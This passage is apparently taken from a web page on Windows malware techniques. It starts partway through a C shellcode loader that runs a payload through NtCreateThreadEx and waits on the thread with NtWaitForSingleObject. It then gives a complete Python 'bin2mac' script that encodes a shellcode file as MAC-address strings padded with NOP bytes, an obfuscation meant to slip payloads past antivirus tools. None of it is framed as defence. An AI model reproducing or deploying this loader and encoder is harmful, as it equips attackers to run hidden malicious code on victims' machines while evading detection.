            return 1;
        }
        printf("\n[+] NtCreateThreadEx @ %p\n", pNtCreateThreadEx);
        printf("[+] NtCreateThreadEx Executed !!!\n");
    }
    
    
    LARGE_INTEGER Timeout;
    Timeout.QuadPart = -10000000;
   
    NTSTATUS NTWFSOstatus = NtWaitForSingleObject(hHostThread, FALSE, &Timeout);
    if (!NT_SUCCESS(NTWFSOstatus)) {
        printf("[!] Failed in NtWaitForSingleobject (%u)\n", GetLastError());
        return 4;
    }
    printf("\n[+] NtWaitForSingleobject Executed !!!\n");

    printf("\n\n[+] Finished !!!!\n");

    
    return 0;

}

bin2mac

from macaddress import MAC
import sys

if len(sys.argv) < 2:
    print("Usage: %s <shellcode_file>" % sys.argv[0])
    sys.exit(1) 

with open(sys.argv[1], "rb") as f:
    chunk = f.read(6)
    print("{}const char* MAC[] =".format(' '*4))
    print("    {")
    while chunk:
        if len(chunk) < 6:
            padding = 6 - len(chunk)
            chunk = chunk + (b"\x90" * padding)
            print("{}\"{}\"".format(' '*8,MAC(chunk)))
            break
        print("{}\"{}\",".format(' '*8,MAC(chunk)))
        chunk = f.read(6)
    print("    };")

文档信息

Search

    Table of Contents